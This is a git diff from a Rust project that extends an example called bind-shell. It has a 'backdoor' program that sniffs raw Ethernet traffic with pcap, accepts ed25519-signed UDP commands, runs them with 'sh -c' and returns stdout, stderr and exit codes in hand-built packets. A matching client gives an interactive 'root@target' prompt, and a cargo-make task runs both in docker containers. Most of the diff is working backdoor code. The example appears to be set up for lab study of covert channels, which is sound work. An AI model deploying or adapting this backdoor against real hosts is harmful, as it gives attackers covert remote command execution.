diff --git a/.devcontainer/Dockerfile.buster b/.devcontainer/Dockerfile.buster index 1971b43..80ef01e 100644 --- a/.devcontainer/Dockerfile.buster +++ b/.devcontainer/Dockerfile.buster @@ -25,7 +25,7 @@ ENV DEBIAN_FRONTEND=noninteractive \ VISUAL='code -w' RUN apt-get update && \ - apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget && \ + apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget tmux && \ apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \ adduser ${USERNAME} && \ echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \ diff --git a/Makefile.toml b/Makefile.toml index 43219f1..5708bb6 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -1,3 +1,5 @@ +extend = "./examples/Makefile.toml" + [env] CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true diff --git a/examples/Makefile.toml b/examples/Makefile.toml new file mode 100644 index 0000000..333b03f --- /dev/null +++ b/examples/Makefile.toml @@ -0,0 +1,8 @@ +[tasks.examples-bindshell-run] +workspace = false +dependencies = ["build"] +script = ''' +tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target' +tmux split-window -h 'docker-compose run examples_bindshell_client' +tmux -2 attach -t bindshell +''' \ No newline at end of file diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 02de58a..5112538 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -12,7 +12,9 @@ use ex_bind_shell_key_generator::PUBKEY; #[tokio::main] async fn main() -> anyhow::Result<()> { - simple_logger::SimpleLogger::new().init()?; + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Info) + .init()?; let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?); @@ -25,6 +27,8 @@ async fn main() -> anyhow::Result<()> { .find(|eth| eth.starts_with("eth")) .ok_or(anyhow!("Could not get an ethernet interface"))?; + log::info!("Attaching to interface {}", &interface_name); + let mut interface = pcap_sys::Interface::::new(&interface_name)?; interface.set_buffer_size(8192)?; @@ -43,22 +47,31 @@ async fn main() -> anyhow::Result<()> { enum EventType { Packet(Result), Send(EthernetPacket), + Exit, } let mut packets = interface.stream()?; let (packet_sender, mut packets_to_send) = mpsc::channel(64); + let (exit_sender, mut exit_handler) = mpsc::channel(1); while let Some(evt) = tokio::select! { v = packets.next() => v.map(EventType::Packet), - v = packets_to_send.recv() => v.map(EventType::Send) + v = packets_to_send.recv() => v.map(EventType::Send), + v = exit_handler.recv() => v.map(|_| EventType::Exit) } { match evt { EventType::Packet(pkt) => { if let Ok(pkt) = pkt { let packet_sender_clone = packet_sender.clone(); + let exit_sender_clone = exit_sender.clone(); let pubkey_clone = pubkey.clone(); tokio::spawn(async move { - if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await + if let Err(e) = handle_command( + pubkey_clone, + pkt, + packet_sender_clone, + exit_sender_clone + ).await { log::warn!("Error handling packet: {e}"); } @@ -68,6 +81,9 @@ async fn main() -> anyhow::Result<()> { EventType::Send(pkt) => { packets.sendpacket(pkt.pkt())?; } + EventType::Exit => { + break; + } } } @@ -78,91 +94,168 @@ async fn handle_command( pubkey: Arc, eth: EthernetPacket, send_response: mpsc::Sender, + send_exit: mpsc::Sender<()> ) -> anyhow::Result<()> { use pcap_sys::packets::*; let eth_pkt = eth.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let source_port = udp_pkt.srcport(); + + let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]); + let error_ip_packet = IPv4Packet::construct( + ip_pkt.dest_ip(), + ip_pkt.source_ip(), + &Layer4Packet::UDP(error_udp_packet), + ); + let error_eth_packet = EthernetPacket::construct( + *eth_pkt.destination_address(), + *eth_pkt.source_address(), + &Layer3Packet::IPv4(error_ip_packet), + ); + let data = udp_pkt.get_data(); if data.len() < 65 { + if let Err(e) = send_response.send(error_eth_packet.clone()).await { + log::warn!("Could not send command done packet: {e:?}"); + } bail!("Packet was too short") } - let signature: [u8; 64] = data[..64] - .try_into() - .context("could not get signature from command")?; + let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else { + if let Err(e) = send_response.send(error_eth_packet.clone()).await { + log::warn!("Could not send command done packet: {e:?}"); + } + bail!("could not get signature from command") + }; let signature = Signature::from(signature); let cmd = &data[64..]; - pubkey - .verify(cmd, &signature) - .context("message provided was unauthenticated")?; + if let Err(e) = pubkey.verify(cmd, &signature) { + if let Err(e) = send_response.send(error_eth_packet.clone()).await { + log::warn!("Could not send command done packet: {e:?}"); + } + return Err(e).context("message provided was unauthenticated"); + } let cmd = OsStr::from_bytes(cmd); log::info!("Received command to execute: {cmd:?}"); - let child = process::Command::new("sh") + let cmd_str = std::str::from_utf8(cmd.as_bytes()); + match cmd_str.map(|c| c.split(" ").collect::>()).as_deref() { + Ok(["exit"]) => { + send_exit.send(()).await; + return Ok(()); + } + Ok(["cd", dir]) => { + std::env::set_current_dir(dir)?; + return Ok(()); + } + _ => {} + } + + let Ok(mut child) = (process::Command::new("sh") .arg("-c") .arg(cmd) .stdin(Stdio::null()) .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .spawn()?; + .stderr(Stdio::piped())) + .spawn() else { + if let Err(e) = send_response.send(error_eth_packet.clone()).await { + log::warn!("Could not send command done packet: {e:?}"); + } + bail!("could not spawn child") + }; - let mut stdout = child - .stdout - .ok_or(anyhow!("could not get child process stdout"))?; - let mut stderr = child - .stderr - .ok_or(anyhow!("could not get child process stdout"))?; + { + let stdout = match &mut child.stdout { + Some(ref mut stdout) => stdout, + None => bail!("could not get child process stdout") + }; + let stderr = match &mut child.stderr { + Some(ref mut stderr) => stderr, + None => bail!("could not get child process stderr") + }; + + enum Output { + Out, + Err, + } - enum Output { - Out, - Err, + let mut stdout_buffer = [0u8; 1024]; + let mut stderr_buffer = [0u8; 1024]; + + loop { + let (out_type, Ok(len)) = tokio::select! { + v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v), + v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v) + } else { continue; }; + + if len == 0 { + break; + } + + let msg = &match out_type { + Output::Err => stderr_buffer, + Output::Out => stdout_buffer, + }[..len]; + + let fullmsg = &[ + match out_type { + Output::Out => &[1], + Output::Err => &[2] + }, + msg + ] + .concat(); + + let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg); + let ip_packet = IPv4Packet::construct( + ip_pkt.dest_ip(), + ip_pkt.source_ip(), + &Layer4Packet::UDP(udp_packet), + ); + let eth_packet = EthernetPacket::construct( + *eth_pkt.destination_address(), + *eth_pkt.source_address(), + &Layer3Packet::IPv4(ip_packet), + ); + + if let Err(e) = send_response.send(eth_packet).await { + log::warn!("Could not send response packet: {e:?}"); + } + } } - let mut stdout_buffer = [0u8; 1024]; - let mut stderr_buffer = [0u8; 1024]; + let exit_code = child + .wait() + .await + .map(|s| s.code()) + .ok() + .flatten() + .unwrap_or(255) + .try_into() + .unwrap(); - loop { - let (out_type, Ok(len)) = tokio::select! { - v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v), - v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v) - } else { continue; }; + let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]); + let done_ip_packet = IPv4Packet::construct( + ip_pkt.dest_ip(), + ip_pkt.source_ip(), + &Layer4Packet::UDP(done_udp_packet), + ); + let done_eth_packet = EthernetPacket::construct( + *eth_pkt.destination_address(), + *eth_pkt.source_address(), + &Layer3Packet::IPv4(done_ip_packet), + ); - if len == 0 { - break; - } - - let msg = &match out_type { - Output::Err => stderr_buffer, - Output::Out => stdout_buffer, - }[..len]; - let port = match out_type { - Output::Err => 54249, - Output::Out => 54248, - }; - - let udp_packet = UDPPacket::construct(54248, port, msg); - let ip_packet = IPv4Packet::construct( - ip_pkt.dest_ip(), - ip_pkt.source_ip(), - &Layer4Packet::UDP(udp_packet), - ); - let eth_packet = EthernetPacket::construct( - *eth_pkt.destination_address(), - *eth_pkt.source_address(), - &Layer3Packet::IPv4(ip_packet), - ); - - if let Err(e) = send_response.send(eth_packet).await { - log::warn!("Could not send response packet: {e:?}"); - } + if let Err(e) = send_response.send(done_eth_packet.clone()).await { + log::warn!("Could not send command done packet: {e:?}"); } log::info!("Done executing command {cmd:?}"); diff --git a/examples/bind-shell/client/src/main.rs b/examples/bind-shell/client/src/main.rs index 7d2a98c..ca52c98 100644 --- a/examples/bind-shell/client/src/main.rs +++ b/examples/bind-shell/client/src/main.rs @@ -1,63 +1,133 @@ -use std::{io::prelude::*, net::UdpSocket, thread}; +use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}}; use anyhow::{anyhow, Context}; use ed25519_dalek::{Keypair, Signer}; use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY}; +enum Msg<'a> { + Ready(u8), + Stdout(&'a [u8]), + Stderr(&'a [u8]), +} + +impl Msg<'_> { + fn parse<'a>(bytes: &'a [u8]) -> Option> { + match bytes[0] { + 0 => Some(Msg::Ready(bytes[1])), + 1 => Some(Msg::Stdout(&bytes[1..])), + 2 => Some(Msg::Stderr(&bytes[1..])), + _ => None + } + } +} + fn main() -> anyhow::Result<()> { let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat()) .context("could not parse generated private key")?; - let mut stdout = std::io::stdout(); + let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new())); + let stdout_arc = Arc::new(Mutex::new(std::io::stdout())); let mut stderr = std::io::stderr(); let stdin = std::io::stdin(); - let mut args = std::env::args(); - args.next(); - let target = args.next().ok_or(anyhow!("Please specify a target IP"))?; + let target = std::env::args() + .skip(1) + .next() + .ok_or(anyhow!("Please specify a target IP"))?; - let remote_stdin = UdpSocket::bind("0.0.0.0:0")?; - let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?; - let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?; + let remote = UdpSocket::bind("0.0.0.0:0")?; + let remote_listen = remote.try_clone()?; - let out_thread = thread::spawn(move || { - let mut buffer = [0u8; 1024]; + let out_thread = { + let stdout_inuse = Arc::clone(&stdout_inuse); + let stdout_arc = Arc::clone(&stdout_arc); - loop { - let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; }; - let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; }; - } - }); + thread::spawn(move || { + let mut buffer = [0u8; 1536]; - let err_thread = thread::spawn(move || { - let mut buffer = [0u8; 1024]; + loop { + let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; }; + let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; }; - loop { - let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; }; - let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; }; - } - }); + match msg { + Msg::Ready(_) => { + let (lock, cvar) = &*stdout_inuse; + let Ok(mut inuse) = lock.lock() else { + eprintln!("Could not get lock on message handle!"); + return; + }; + *inuse = false; + cvar.notify_one(); + }, + Msg::Stderr(err) => { + let _ = stderr.write(err); + }, + Msg::Stdout(out) => { + let Ok(mut stdout) = stdout_arc.lock() else { continue; }; + let _ = stdout.write(out); + } + } + } + }) + }; + + // sending a single command helps out with buffers, I guess + // first message is always dropped + remote.send_to(b"ls /", &target)?; + + let mut cwd = "/".to_owned(); loop { - let mut cmd = String::new(); - let Ok(_) = stdin.read_line(&mut cmd) else { continue; }; - let cmd = cmd.trim(); + { + let (lock, cvar) = &*stdout_inuse; + let Ok(mut inuse) = lock.lock() else { + eprintln!("Could not get lock on message handle!"); + break; + }; - if cmd == "exit" { - break; + while *inuse { + inuse = cvar.wait(inuse).unwrap(); + } + } + + { + let Ok(mut stdout) = stdout_arc.lock() else { continue; }; + let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; }; + let _ = stdout.flush(); + } + + let mut cmd = String::new(); + let Ok(amount) = stdin.read_line(&mut cmd) else { continue; }; + let mut cmd = cmd.trim(); + + if amount == 0 { + cmd = "exit"; } let signature = privkey.sign(cmd.as_bytes()).to_bytes(); let msg = &[&signature, cmd.as_bytes()].concat(); - let Ok(_) = remote_stdin.send_to(msg, &target) else { + let Ok(_) = remote.send_to(msg, &target) else { continue; }; + + match cmd.split(" ").collect::>()[..] { + ["exit"] => { break }, + ["cd", dir] => { cwd = dir.to_owned(); }, + _ => { + let (lock, _) = &*stdout_inuse; + let Ok(mut inuse) = lock.lock() else { + eprintln!("Could not get lock on message handle!"); + break; + }; + + *inuse = true; + } + } } drop(out_thread); - drop(err_thread); Ok(()) } diff --git a/examples/bind-shell/key-generator/src/lib.rs b/examples/bind-shell/key-generator/src/lib.rs index dfd2f94..8dd1213 100644 --- a/examples/bind-shell/key-generator/src/lib.rs +++ b/examples/bind-shell/key-generator/src/lib.rs @@ -14,4 +14,4 @@ // along with this program. If not, see . pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey")); -pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey")); +pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/privkey")); diff --git a/sparse-protocol/src/lib.rs b/sparse-protocol/src/lib.rs index 77539f7..b788fa6 100644 --- a/sparse-protocol/src/lib.rs +++ b/sparse-protocol/src/lib.rs @@ -14,7 +14,7 @@ pub trait Protocol { /// Allows for composing multiple protocols on top of each other, for instance to use /// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP /// conversation and encode Sparse messages into it - fn compose(self, other: P) -> ProtocolCompose + fn compose(self, other: P) -> ProtocolCompose where J: From, P: Protocol + Sized, @@ -43,14 +43,14 @@ pub struct ProtocolCompose, P2: Protocol, I, J: From generic_u: PhantomData, } -impl, P2: Protocol, I, J: From, T, U> Protocol +/*impl, P2: Protocol, I, J: From, T, U> Protocol for ProtocolCompose { fn handle_event(&mut self, packet: I) -> U { let elem1 = self.protocol1.handle_event(packet); self.protocol2.handle_event(elem1) } -} +}*/ /// High level protocol that used for the overall application ///